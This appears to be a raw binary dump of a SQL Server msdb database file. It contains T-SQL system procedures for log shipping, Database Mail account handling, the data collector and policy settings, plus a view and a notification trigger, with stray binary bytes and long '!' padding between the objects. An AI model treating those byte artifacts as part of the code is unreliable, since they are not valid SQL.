  -- sp_droplogin to work, even if msdb and/or sysjobs does not exist].

  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysobjects
              WHERE (name = N'sysjobs')
                AND (type = 'U')))
  BEGIN
    DECLARE @sql NVARCHAR(1024)
    SET @sql = N'INSERT INTO ' + QUOTENAME(@table_name, N'[') + N' SELECT COUNT(*) FROM msdb.dbo.sysjobs WHERE (owner_sid = SUSER_SID(N' + QUOTENAME(@login_name, '''') + ', 0))' --force case insensitive comparation for NT users
    EXEC sp_executesql @statement = @sql  
  END
END
0\ 8CREATE PROCEDURE [dbo].[sp_syscollector_get_instmdw]
AS
BEGIN
    -- only dc_admin and dbo can setup MDW
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14712, -1, -1) WITH LOG
        RETURN(1) -- Failure
    END

    -- if the script has not been loaded, load it now
    IF (NOT EXISTS(SELECT parameter_name 
                   FROM syscollector_blobs_internal
                   WHERE parameter_name = N'InstMDWScript'))
    BEGIN
        EXECUTE sp_syscollector_upload_instmdw
    END
               
    SELECT cast(parameter_value as nvarchar(max)) 
    FROM syscollector_blobs_internal
    WHERE parameter_name = N'InstMDWScript'
END
0+] '8CREATE PROCEDURE sp_add_log_shipping_primary
  @primary_server_name         sysname,
  @primary_database_name       sysname,
  @maintenance_plan_id         UNIQUEIDENTIFIER = NULL,
  @backup_threshold            INT              = 60,
  @threshold_alert             INT              = 14420,
  @threshold_alert_enabled     BIT              = 1,
  @planned_outage_start_time   INT              = 0,
  @planned_outage_end_time     INT              = 0,
  @planned_outage_weekday_mask INT              = 0,
  @primary_id              INT = NULL OUTPUT       
AS
BEGIN
  SET NOCOUNT ON
  IF EXISTS (SELECT * FROM msdb.dbo.log_shipping_primaries WHERE primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name)
  BEGIN  
    DECLARE @pair_name NVARCHAR 
   SELECT @pair_name = @primary_server_name + N'.' + @primary_database_name
   RAISERROR (14261,16,1, N'primary_server_name.primary_database_name', @pair_name)
    RETURN (1) -- error
  END
  INSERT INTO msdb.dbo.log_shipping_primaries (
    primary_server_name,
    primary_database_name,
    maintenance_plan_id,
    backup_threshold,
    threshold_alert,
    threshold_alert_enabled,
    last_backup_filename,
    last_updated,
    planned_outage_start_time,
    planned_outage_end_time,
    planned_outage_weekday_mask,
    source_directory)  
  VALUES (@primary_server_name,  
    @primary_database_name, 
    @maintenance_plan_id, 
    @backup_threshold,
    @threshold_alert,
    @threshold_alert_enabled,
    N'first_file_000000000000.trn',
    GETDATE (),
    @planned_outage_start_time,
    @planned_outage_end_time,
    @planned_outage_weekday_mask,
    NULL)

  SELECT @primary_id = @@IDENTITY

  EXECUTE msdb.dbo.sp_add_log_shipping_monitor_jobs
END
0`] 8
CREATE PROCEDURE dbo.sysmail_verify_account_sp
   @account_id int,
   @account_name sysname,
   @allow_both_nulls bit,
   @allow_id_name_mismatch bit,
   @accountid int OUTPUT
AS
   IF @allow_both_nulls = 0
   BEGIN
      -- at least one parameter must be supplied
      IF (@account_id IS NULL AND @account_name IS NULL)
      BEGIN
         RAISERROR(14604, -1, -1, 'account') 
         RETURN(1)
      END
   END
   
   IF ((@allow_id_name_mismatch = 0) AND (@account_id IS NOT NULL AND @account_name IS NOT NULL)) -- use both parameters
   BEGIN
      SELECT @accountid = account_id FROM msdb.dbo.sysmail_account WHERE account_id=@account_id AND name=@account_name
      IF (@accountid IS NULL) -- id and name do not match
      BEGIN
         RAISERROR(14605, -1, -1, 'account')
         RETURN(2)
      END      
   END
   ELSE IF (@account_id IS NOT NULL) -- use id
   BEGIN
      SELECT @accountid = account_id FROM msdb.dbo.sysmail_account WHERE account_id=@account_id
      IF (@accountid IS NULL) -- id is invalid
      BEGIN
         RAISERROR(14606, -1, -1, 'account')
         RETURN(3)
      END      
   END
   ELSE IF (@account_name IS NOT NULL) -- use name
   BEGIN
      SELECT @accountid = account_id FROM msdb.dbo.sysmail_account WHERE name=@account_name
      IF (@accountid IS NULL) -- name is invalid
      BEGIN
         RAISERROR(14607, -1, -1, 'account')
         RETURN(4)
      END      
   END
   RETURN(0) -- SUCCESS
0wK] 8	CREATE VIEW dbo.sysutility_ucp_mi_database_health 
	AS
	SELECT t.server_instance_name,
			t.database_name,
			(SELECT val FROM dbo.fn_sysutility_ucp_get_aggregated_health(t.over_utilized_count, t.under_utilized_count)) health_state,
			t.processing_time
	FROM msdb.dbo.sysutility_ucp_mi_database_health_internal AS t
	WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h``!<'Meb0 ;f 8
CREATE PROCEDURE sp_remove_log_shipping_monitor_account
AS
BEGIN
  SET NOCOUNT ON
  EXECUTE sp_dropuser N'log_shipping_monitor_probe'
  EXECUTE sp_droplogin N'log_shipping_monitor_probe'
END
0JEf Y8
CREATE PROCEDURE dbo.sysmail_delete_account_sp
   @account_id int = NULL, -- must provide either id or name
   @account_name sysname = NULL
AS
   SET NOCOUNT ON
  
   DECLARE @rc int
   DECLARE @accountid int
   DECLARE @credential_name sysname

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 0, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(1)

   -- Get all the credentials has been stored for this account
   DECLARE cur CURSOR FOR
      SELECT c.name
      FROM sys.credentials as c
      JOIN msdb.dbo.sysmail_server as ms
         ON c.credential_id = ms.credential_id
      WHERE account_id = @accountid

   OPEN cur
   FETCH NEXT FROM cur INTO @credential_name
   WHILE @@FETCH_STATUS = 0
   BEGIN
      -- drop the credential
      EXEC msdb.dbo.sysmail_drop_user_credential_sp @credential_name = @credential_name

      FETCH NEXT FROM cur INTO @credential_name
   END

   CLOSE cur
   DEALLOCATE cur
     
   DELETE FROM msdb.dbo.sysmail_account
   WHERE account_id = @accountid
   
   RETURN(0)
0tOg D8/hnd#;0K?g :8
CREATE VIEW [dbo].[syspolicy_policy_execution_history]
AS
    SELECT 
        history_id,
        policy_id,
        start_date,
        end_date,
        result,
        exception_message,
        exception
    FROM [dbo].[syspolicy_policy_execution_history_internal]
0Y_g 	8
CREATE PROCEDURE sp_log_shipping_monitor_backup AS
BEGIN
  DECLARE @primary_id                  sysname
  DECLARE @primary_server_name         sysname 
  DECLARE @primary_database_name       sysname 
  DECLARE @maintenance_plan_id         UNIQUEIDENTIFIER
  DECLARE @backup_threshold            INT
  DECLARE @threshold_alert             INT 
  DECLARE @threshold_alert_enabled     BIT 
  DECLARE @last_backup_filename        sysname 
  DECLARE @last_updated                DATETIME
  DECLARE @planned_outage_start_time   INT
  DECLARE @planned_outage_end_time     INT 
  DECLARE @planned_outage_weekday_mask INT
  DECLARE @sync_status                 INT
  DECLARE @backup_delta                INT
  DECLARE @delta_string                NVARCHAR (10)
  DECLARE @dt                             DATETIME

  SELECT @dt = GETDATE ()

  SET NOCOUNT ON

  DECLARE bmlsp_cur CURSOR FOR
    SELECT primary_id, 
           primary_server_name, 
           primary_database_name, 
         maintenance_plan_id, 
           backup_threshold, 
           threshold_alert, 
           threshold_alert_enabled, 
           last_backup_filename, 
           last_updated,
           planned_outage_start_time, 
           planned_outage_end_time, 
           planned_outage_weekday_mask 
    FROM msdb.dbo.log_shipping_primaries
    FOR READ ONLY

  OPEN bmlsp_cur
loop:
  FETCH NEXT FROM bmlsp_cur 
  INTO @primary_id, 
       @primary_server_name, 
      @primary_database_name, 
      @maintenance_plan_id,
       @backup_threshold, 
      @threshold_alert, 
      @threshold_alert_enabled, 
      @last_backup_filename, 
      @last_updated, 
      @planned_outage_start_time,
       @planned_outage_end_time, 
      @planned_outage_weekday_mask

  IF @@FETCH_STATUS <> 0 -- nothing more to fetch, finish the loop
    GOTO _loop

  EXECUTE @sync_status = sp_log_shipping_in_sync
    @last_updated,
    @dt,
     @backup_threshold,
   @planned_outage_start_time,
   @planned_outage_end_time,
    @planned_outage_weekday_mask,
   @threshold_alert_enabled,
   @backup_delta OUTPUT

   IF (@sync_status < 0)
   BEGIN
     SELECT @delta_string = CONVERT (NVARCHAR(10), @backup_delta)
     RAISERROR (@threshold_alert, 16, 1, @primary_server_name, @primary_database_name, @delta_string)
   END

  GOTO loop
_loop:
  CLOSE bmlsp_cur
  DEALLOCATE bmlsp_cur
END
0@
g &8((-1))06f %8((0))0Zg %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`<GI%Zi0!H&{ {8CREATE TRIGGER trig_notification_delete
ON msdb.dbo.sysnotifications
FOR DELETE
AS
BEGIN
  SET NOCOUNT ON

  -- Reset the has_notification flag for the affected alerts
  UPDATE msdb.dbo.sysalerts
  SET has_notification = 0
  FROM deleted            d,
       msdb.dbo.sysalerts sa
  WHERE (d.alert_id = sa.id)

  -- Update sysalerts.has_notification (for email)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 1
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       deleted                   d
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = d.alert_id)
    AND ((sn.notification_method & 1) = 1)

  -- Update sysalerts.has_notification (for pager)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 2
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       deleted                   d
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = d.alert_id)
    AND ((sn.notification_method & 2) = 2)

  -- Update sysalerts.has_notification (for netsend)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 4
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       deleted                   d
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = d.alert_id)
    AND ((sn.notification_method & 4) = 4)
END
0CF{ 8CREATE PROCEDURE [dbo].[sp_syspolicy_set_config_history_retention] 
	@value sql_variant
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    UPDATE [msdb].[dbo].[syspolicy_configuration_internal]
        SET current_value = @value
        WHERE name = N'HistoryRetentionInDays';
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!